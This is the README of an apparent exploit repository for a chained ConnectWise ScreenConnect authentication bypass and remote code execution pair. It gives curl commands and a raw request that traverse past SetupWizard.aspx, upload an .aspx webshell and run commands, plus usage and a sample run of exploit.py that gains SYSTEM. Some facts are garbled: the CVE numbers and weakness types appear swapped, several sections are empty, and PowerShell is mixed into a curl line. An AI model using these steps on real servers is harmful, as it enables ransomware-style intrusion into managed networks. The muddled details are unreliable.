CVE-2024-1708 / CVE-2024-1709 — ConnectWise ScreenConnect Authentication Bypass & Remote Code Execution

CVSS Score: 8.4 (CVE-2024-1708) – 10.0 (CVE-2024-1709)
CWE: CWE-22 (Path Traversal), CWE-288 (Authentication Bypass Using an Alternate Path)
Affected Software: ConnectWise ScreenConnect (formerly ScreenConnect) ≤ 23.9.7
Discovered & Reported: February 2024
Exploited In-The-Wild: LockBit, Black Basta, Bl00dy, and other ransomware affiliates

Table of Contents

1. Overview
2. Technical Details
3. Affected Versions
4. Reproduction Steps
5. Proof-of-Concept Usage
6. Mitigation
7. References

1. Overview

CVE-2024-1708 and CVE-2024-1709 are a chained pair of vulnerabilities in ConnectWise ScreenConnect (formerly ConnectWise Control) that together allow an unauthenticated remote attacker to achieve full remote code execution on the ScreenConnect server.

• CVE-2024-1708 — Authentication Bypass via Path Traversal. The SetupWizard.aspx endpoint (and related setup/upgrade endpoints) does not properly sanitize user-supplied path traversal sequences (../). An unauthenticated attacker can traverse outside the intended setup directory and reach endpoints that should require authentication. Because the wizard runs in the context of the SYSTEM (Windows) or root (Linux) account, the attacker inherits elevated privileges.

• CVE-2024-1709 — Unrestricted File Upload leading to RCE. Once authentication is bypassed, an attacker can upload an arbitrary .aspx or other executable file to the web root. By then requesting the uploaded file, arbitrary code executes on the server.

Impact

These vulnerabilities were mass-exploited beginning February 19, 2024 by multiple ransomware groups:

Because ScreenConnect is commonly deployed by Managed Service Providers (MSPs) to remotely manage hundreds of downstream client endpoints, a single compromised ScreenConnect server enables a supply-chain attack — every client with an agent connected to that ScreenConnect server is at risk.

2. Technical Details

2.1 Authentication Bypass (CVE-2024-1708)

The ScreenConnect server exposes a setup wizard at:

/SetupWizard.aspx/

Under certain upgrade/repair states, the server does not enforce authentication because it assumes the setup wizard is the first-run experience. The critical flaw is in how the server processes the __Session cookie or the Transfer-Encoding / Content-Type headers when accessing paths under the wizard namespace.

By sending a request to:

/SetupWizard.aspx/../../ScreenConnect/Login.aspx

the path traversal cancels the "setup wizard" context, while the server still believes the unauthenticated session context applies. The attacker is redirected or served pages as though authenticated.

Alternative vector: The PrepareUpgrade.aspx / PostUpgrade.aspx handlers similarly lack authentication checks and expose file upload functionality.

2.2 Remote Code Execution (CVE-2024-1709)

Once the attacker reaches an authenticated endpoint (or directly hits the file upload handler in the setup context), they can upload a malicious .aspx webshell:

POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
Content-Type: multipart/form-data; boundary=----BOUNDARY

------BOUNDARY
Content-Disposition: form-data; name="file"; filename="shell.aspx"
Content-Type: application/octet-stream

<%@ Page Language="C#" %>...
------BOUNDARY--

The file is written to the web application directory (e.g., C:\Program Files\ScreenConnect\Website\). Requesting the uploaded shell executes it under the server's identity.

2.3 Root Cause (CWE-22 / CWE-288)

• The server fails to canonicalize the request path before routing.
• The SetupWizard.aspx handler trusts that any request under its route is part of the setup process and should bypass authentication — but the path traversal breaks that assumption.
• No proper validation of ../ sequences or symlink traversal.

3. Affected Versions

Note: Self-hosted (on-premise) ScreenConnect servers are the primary targets. The ConnectWise-hosted (cloud) ScreenConnect instances were patched before public disclosure and were never vulnerable.

4. Reproduction Steps

4.1 Lab Setup

1. Download a vulnerable ScreenConnect version (23.9.7 or earlier).
   Official installers may be available via ConnectWise partner archives. For testing, use an isolated VM.
2. Install on a Windows Server (2019/2022) or a Linux host.
   • Default install paths:
     • Windows: C:\Program Files\ScreenConnect\
     • Linux: /opt/screenconnect/
   • Default web port: 8040 (HTTP) or 443 (HTTPS if configured)
3. Ensure the server is network-isolated — do not expose to the internet during testing.

4.2 Verify Vulnerability

# Check the version
curl -s http://<target>:8040/ | Select-String "ScreenConnect"

Or access the web interface and note the version number in the page source.

4.3 Path Traversal Test

curl -v --path-as-is "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/Login.aspx"

Expected behavior on a vulnerable server:

• The response returns a 200 OK or 302 redirect to a session-authenticated page without the normal login prompt.
• The response may contain the ScreenConnect admin console HTML.

4.4 Webshell Upload

curl -X POST "http://<target>:8040/SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx" \
  -H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
  -F "[email protected]"

4.5 Execute Commands

curl "http://<target>:8040/shell.aspx?cmd=whoami"

5. Proof-of-Concept Usage

The accompanying exploit.py script automates the above steps:

usage: exploit.py [-h] -t TARGET [-p PORT] [-c COMMAND] [--ssl]

Exploit CVE-2024-1708/1709 - ConnectWise ScreenConnect Auth Bypass + RCE

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        Target hostname or IP
  -p PORT, --port PORT  Target port (default: 8040)
  -c COMMAND, --command COMMAND
                        Command to execute (default: whoami)
  --ssl                 Use HTTPS

Example:
  python exploit.py -t 192.168.1.100 -p 8040 -c "whoami"

Sample Run

$ python exploit.py -t 192.168.1.100 -c "whoami"

[*] Target: 192.168.1.100:8040
[*] Using SSL: False
[*] Step 1: Testing path traversal for auth bypass...
[+] Target appears vulnerable! Server version: 23.9.7
[*] Step 2: Uploading webshell...
[+] Webshell uploaded to: http://192.168.1.100:8040/PoCsAccSwLgSdE.aspx
[*] Step 3: Executing command 'whoami'...
[+] Output:
nt authority\system

6. Mitigation

Immediate (Patch)

• Upgrade ScreenConnect to version 23.9.8 or later.
• ConnectWise released patches on February 20, 2024.

Compensating Controls

Detection

Search for the following IoCs in web server logs:

GET /SetupWizard.aspx/../../ScreenConnect/
POST /SetupWizard.aspx/../../ScreenConnect/UploadFile.aspx
GET /*.aspx?cmd=

7. References

Disclaimer

This repository is provided for educational and authorized security research purposes only. Unauthorized testing against systems you do not own or have explicit written permission to test is illegal. The authors are not responsible for misuse of this information.